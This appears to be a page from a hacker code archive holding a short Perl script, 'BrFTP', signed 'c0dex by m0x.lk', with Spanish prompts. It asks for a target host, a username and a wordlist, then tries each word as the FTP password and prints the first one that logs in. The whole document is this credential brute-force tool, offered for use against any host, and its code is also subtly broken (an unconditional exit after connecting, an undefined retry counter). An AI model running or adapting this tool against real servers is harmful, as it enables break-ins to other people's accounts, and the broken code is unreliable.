./c0de/perl/brftp.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
#!/usr/bin/perl
use Net::FTP;
# c0dex by m0x.lk
# [email protected]
# RE & HaSe
# BrFTP .-
system ("clear");
system ("cls");
system ("color 72");
print "C0dex by m0x.lk\n";
print "\n";
print "BrFTP .- RE & HaSe\n";
print "\n";
sleep 1;
print "Target: ";
$target=<STDIN>;
print "\n\n";
print "User: ";
$user=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$counter=0;
$times=0;
print "Conectando $target\n";
print "\n";
$ftp = Net::FTP->new($target,Debug => 1);
die "Imposible resolver $target\n";
print "\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
    $ftp->login($user,$try);
    $counter++;
    $tiempo++;
    if($ftp->ls("."))
    {
	print "$user / $try \n";
	last;
    }
    if($counter==$fallos)
    {
print "\n\n";
	$ftp->quit;
	print "Volviendo a conectar $target";
	$ftp = Net::FTP->new($target,Debug => 1);
	die "Imposible conectar $target\n";
print "\n\n";
	$counter=0;
    }
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";
 
 

Back